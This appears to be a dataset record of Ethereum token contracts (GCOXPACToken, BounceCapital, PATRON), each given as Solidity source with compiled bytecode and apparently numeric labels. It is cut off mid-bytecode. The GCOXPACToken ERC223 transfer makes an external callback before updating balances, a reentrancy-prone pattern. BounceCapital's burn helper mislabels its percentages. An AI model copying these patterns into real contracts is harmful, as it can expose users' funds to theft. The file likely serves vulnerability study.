pragma solidity ^0.4.10; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } interface ERC20 { function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface ERC223 { function transfer(address to, uint value, bytes data) public; event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); } contract ERC223ReceivingContract { function tokenFallback(address _from, uint _value, bytes _data) public; } contract GCOXPACToken is ERC20, ERC223 { using SafeMath for uint; string internal _name; string internal _symbol; uint8 internal _decimals; uint256 internal _totalSupply; mapping (address => uint256) internal balances; mapping (address => mapping (address => uint256)) internal allowed; function GCOXPACToken(string name, string symbol, uint8 decimals, uint256 totalSupply) public { _symbol = symbol; _name = name; _decimals = decimals; _totalSupply = totalSupply; balances[msg.sender] = totalSupply; } function name() public view returns (string) { return _name; } function symbol() public view returns (string) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view returns (uint256) { return _totalSupply; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value); balances[_to] = SafeMath.add(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = SafeMath.sub(balances[_from], _value); balances[_to] = SafeMath.add(balances[_to], _value); allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = SafeMath.add(allowed[msg.sender][_spender], _addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = SafeMath.sub(oldValue, _subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function transfer(address _to, uint _value, bytes _data) public { require(_value > 0 ); if(isContract(_to)) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, _data); } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value, _data); } function isContract(address _addr) private returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length>0); } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014f57806318160ddd146101b457806323b872dd146101df578063313ce56714610264578063661884631461029557806370a08231146102fa57806395d89b4114610351578063a9059cbb146103e1578063be45fd6214610446578063d73dd623146104d9578063dd62ed3e1461053e575b600080fd5b3480156100cb57600080fd5b506100d46105b5565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101145780820151818401526020810190506100f9565b50505050905090810190601f1680156101415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015b57600080fd5b5061019a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610657565b604051808215151515815260200191505060405180910390f35b3480156101c057600080fd5b506101c9610749565b6040518082815260200191505060405180910390f35b3480156101eb57600080fd5b5061024a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610753565b604051808215151515815260200191505060405180910390f35b34801561027057600080fd5b50610279610af7565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102a157600080fd5b506102e0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b0e565b604051808215151515815260200191505060405180910390f35b34801561030657600080fd5b5061033b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d96565b6040518082815260200191505060405180910390f35b34801561035d57600080fd5b50610366610ddf565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a657808201518184015260208101905061038b565b50505050905090810190601f1680156103d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103ed57600080fd5b5061042c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e81565b604051808215151515815260200191505060405180910390f35b34801561045257600080fd5b506104d7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611093565b005b3480156104e557600080fd5b50610524600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113d5565b604051808215151515815260200191505060405180910390f35b34801561054a57600080fd5b5061059f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115c8565b6040518082815260200191505060405180910390f35b606060008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561064d5780601f106106225761010080835404028352916020019161064d565b820191906000526020600020905b81548152906001019060200180831161063057829003601f168201915b5050505050905090565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600354905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561079057600080fd5b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107de57600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561086957600080fd5b6108b2600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361164f565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061093e600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611668565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a07600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361164f565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000600260009054906101000a900460ff16905090565b600080600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610c1f576000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610caa565b610c29818461164f565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e775780601f10610e4c57610100808354040283529160200191610e77565b820191906000526020600020905b815481529060010190602001808311610e5a57829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610ebe57600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610f0c57600080fd5b610f55600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361164f565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fe1600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611668565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080831115156110a357600080fd5b6110ac84611686565b156111dd578390508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3385856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561117657808201518184015260208101905061115b565b50505050905090810190601f1680156111a35780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1580156111c457600080fd5b505af11580156111d8573d6000803e3d6000fd5b505050505b61122f83600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164f90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112c483600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166890919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816040518082805190602001908083835b60208310151561133d5780518252602082019150602081019050602083039250611318565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16866040518082815260200191505060405180910390a450505050565b600061145d600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611668565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600082821115151561165d57fe5b818303905092915050565b600080828401905083811015151561167c57fe5b8091505092915050565b600080823b9050600081119150509190505600a165627a7a72305820b8cf60d01cbcdf10145183a1c5d5e42888f3e965e89c3504a564f20dec4f04c50029
[ 38 ]
0xf3b2cdc87bf6e26cd78aebbc916c0e4193105660
pragma solidity ^0.5.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function ceil(uint256 a, uint256 m) internal pure returns (uint256) { uint256 c = add(a,m); uint256 d = sub(c,1); return mul(div(d,m),m); } } contract ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address holder) public view returns (uint256); function allowance(address holder, address spender) public view returns (uint256); function transfer(address to, uint256 amount) public returns (bool success); function approve(address spender, uint256 amount) public returns (bool success); function transferFrom(address from, address to, uint256 amount) public returns (bool success); event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed holder, address indexed spender, uint256 amount); } contract BounceCapital is ERC20 { using SafeMath for uint256; string public symbol = "BC"; string public name = "BounceCapital"; uint8 public decimals = 18; uint256 private _totalSupply = 8300000000000000000000000; uint256 oneHundredPercent = 100; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; constructor() public { balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address holder) public view returns (uint256) { return balances[holder]; } function allowance(address holder, address spender) public view returns (uint256) { return allowed[holder][spender]; } function findOnePercent(uint256 amount) private view returns (uint256) { uint256 roundAmount = amount.ceil(oneHundredPercent); uint256 fivePercent = roundAmount.mul(oneHundredPercent).div(1000); return fivePercent; } function transfer(address to, uint256 amount) public returns (bool success) { require(amount <= balances[msg.sender]); require(to != address(0)); uint256 tokensToBurn = findOnePercent(amount); uint256 tokensToTransfer = amount.sub(tokensToBurn); balances[msg.sender] = balances[msg.sender].sub(amount); balances[to] = balances[to].add(tokensToTransfer); _totalSupply = _totalSupply.sub(tokensToBurn); emit Transfer(msg.sender, to, tokensToTransfer); emit Transfer(msg.sender, address(0), tokensToBurn); return true; } function approve(address spender, uint256 amount) public returns (bool success) { allowed[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transferFrom(address from, address to, uint256 amount) public returns (bool success) { require(amount <= balances[from]); require(amount <= allowed[from][msg.sender]); require(to != address(0)); balances[from] = balances[from].sub(amount); uint256 tokensToBurn = findOnePercent(amount); uint256 tokensToTransfer = amount.sub(tokensToBurn); balances[to] = balances[to].add(tokensToTransfer); _totalSupply = _totalSupply.sub(tokensToBurn); allowed[from][msg.sender] = allowed[from][msg.sender].sub(amount); emit Transfer(from, to, tokensToTransfer); emit Transfer(from, address(0), tokensToBurn); return true; } }
0x608060405260043610610099576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461009e578063095ea7b31461012e57806318160ddd146101a157806323b872dd146101cc578063313ce5671461025f57806370a082311461029057806395d89b41146102f5578063a9059cbb14610385578063dd62ed3e146103f8575b600080fd5b3480156100aa57600080fd5b506100b361047d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f35780820151818401526020810190506100d8565b50505050905090810190601f1680156101205780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561013a57600080fd5b506101876004803603604081101561015157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061051b565b604051808215151515815260200191505060405180910390f35b3480156101ad57600080fd5b506101b661060d565b6040518082815260200191505060405180910390f35b3480156101d857600080fd5b50610245600480360360608110156101ef57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610617565b604051808215151515815260200191505060405180910390f35b34801561026b57600080fd5b50610274610a7e565b604051808260ff1660ff16815260200191505060405180910390f35b34801561029c57600080fd5b506102df600480360360208110156102b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a91565b6040518082815260200191505060405180910390f35b34801561030157600080fd5b5061030a610ada565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561034a57808201518184015260208101905061032f565b50505050905090810190601f1680156103775780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561039157600080fd5b506103de600480360360408110156103a857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b78565b604051808215151515815260200191505060405180910390f35b34801561040457600080fd5b506104676004803603604081101561041b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e44565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105135780601f106104e857610100808354040283529160200191610513565b820191906000526020600020905b8154815290600101906020018083116104f657829003601f168201915b505050505081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600354905090565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561066757600080fd5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156106f257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561072e57600080fd5b61078082600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ecb90919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006107ce83610eed565b905060006107e58285610ecb90919063ffffffff16565b905061083981600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f3e90919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061089182600354610ecb90919063ffffffff16565b60038190555061092684600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ecb90919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001925050509392505050565b600260009054906101000a900460ff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b705780601f10610b4557610100808354040283529160200191610b70565b820191906000526020600020905b815481529060010190602001808311610b5357829003601f168201915b505050505081565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610bc857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610c0457600080fd5b6000610c0f83610eed565b90506000610c268285610ecb90919063ffffffff16565b9050610c7a84600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ecb90919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d0f81600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f3e90919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d6782600354610ecb90919063ffffffff16565b6003819055508473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019250505092915050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000828211151515610edc57600080fd5b600082840390508091505092915050565b600080610f0560045484610f5f90919063ffffffff16565b90506000610f326103e8610f2460045485610f9a90919063ffffffff16565b610fd590919063ffffffff16565b90508092505050919050565b6000808284019050838110151515610f5557600080fd5b8091505092915050565b600080610f6c8484610f3e565b90506000610f7b826001610ecb565b9050610f90610f8a8286610fd5565b85610f9a565b9250505092915050565b600080831415610fad5760009050610fcf565b60008284029050828482811515610fc057fe5b04141515610fca57fe5b809150505b92915050565b6000808284811515610fe357fe5b049050809150509291505056fea165627a7a72305820e317f98e1963dd062b8fc52731deb9740a4fa43d363e6293a2bb296fbe774bde0029
[ 38 ]
0xF3b3Cad094B89392fcE5faFD40bC03b80F2Bc624
pragma solidity ^0.4.15; contract Base { modifier only(address allowed) { require(msg.sender == allowed); _; } // ************************************************* // * reentrancy handling * // ************************************************* uint constant internal L00 = 2 ** 0; uint constant internal L01 = 2 ** 1; uint constant internal L02 = 2 ** 2; uint constant internal L03 = 2 ** 3; uint constant internal L04 = 2 ** 4; uint constant internal L05 = 2 ** 5; uint private bitlocks = 0; modifier noAnyReentrancy { var _locks = bitlocks; require(_locks == 0); bitlocks = uint(-1); _; bitlocks = _locks; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Owned is Base { address public owner; address newOwner; function Owned() { owner = msg.sender; } function transferOwnership(address _newOwner) only(owner) { newOwner = _newOwner; } function acceptOwnership() only(newOwner) { OwnershipTransferred(owner, newOwner); owner = newOwner; } event OwnershipTransferred(address indexed _from, address indexed _to); } contract ERC20 is Owned { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) isStartedOnly returns (bool success) { if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint _value) isStartedOnly returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } function approve_fixed(address _spender, uint _currentValue, uint _value) isStartedOnly returns (bool success) { if(allowed[msg.sender][_spender] == _currentValue){ allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } else { return false; } } function approve(address _spender, uint _value) isStartedOnly returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } mapping (address => uint) balances; mapping (address => mapping (address => uint)) allowed; uint public totalSupply; bool public isStarted = false; modifier isStartedOnly() { require(isStarted); _; } } contract Token is ERC20 { using SafeMath for uint; string public name = "PATRON"; string public symbol = "PAT"; uint8 public decimals = 18; address public crowdsaleMinter; modifier onlyCrowdsaleMinter(){ require(msg.sender == crowdsaleMinter); _; } modifier isNotStartedOnly() { require(!isStarted); _; } function Token(address _crowdsaleMinter){ crowdsaleMinter = _crowdsaleMinter; } function start() public onlyCrowdsaleMinter isNotStartedOnly { isStarted = true; } function emergencyStop() public only(owner) { isStarted = false; } //================= Crowdsale Only ================= function mint(address _to, uint _amount) public onlyCrowdsaleMinter isNotStartedOnly returns(bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); return true; } event Burn(address indexed burner, uint256 value); function burn(uint256 _value, address _address) onlyCrowdsaleMinter returns (bool) { require(_value <= balances[_address]); balances[_address] = balances[_address].sub(_value); totalSupply = totalSupply.sub(_value); Burn(_address, _value); return true; } }
0x608060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461010c578063095ea7b31461019c57806318160ddd1461020157806323b872dd1461022c578063313ce567146102b157806340c10f19146102e2578063544736e61461034757806357ebc2861461037657806363a599a4146103e557806370a08231146103fc57806379ba5097146104535780638da5cb5b1461046a57806395d89b41146104c1578063a9059cbb14610551578063be9a6555146105b6578063dcb36063146105cd578063dd62ed3e14610624578063f2fde38b1461069b578063fcd3533c146106de575b600080fd5b34801561011857600080fd5b50610121610743565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610161578082015181840152602081019050610146565b50505050905090810190601f16801561018e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101a857600080fd5b506101e7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107e1565b604051808215151515815260200191505060405180910390f35b34801561020d57600080fd5b506102166108ee565b6040518082815260200191505060405180910390f35b34801561023857600080fd5b50610297600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108f4565b604051808215151515815260200191505060405180910390f35b3480156102bd57600080fd5b506102c6610c0a565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102ee57600080fd5b5061032d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c1d565b604051808215151515815260200191505060405180910390f35b34801561035357600080fd5b5061035c610d51565b604051808215151515815260200191505060405180910390f35b34801561038257600080fd5b506103cb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050610d64565b604051808215151515815260200191505060405180910390f35b3480156103f157600080fd5b506103fa610f00565b005b34801561040857600080fd5b5061043d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f7b565b6040518082815260200191505060405180910390f35b34801561045f57600080fd5b50610468610fc4565b005b34801561047657600080fd5b5061047f611125565b604051808273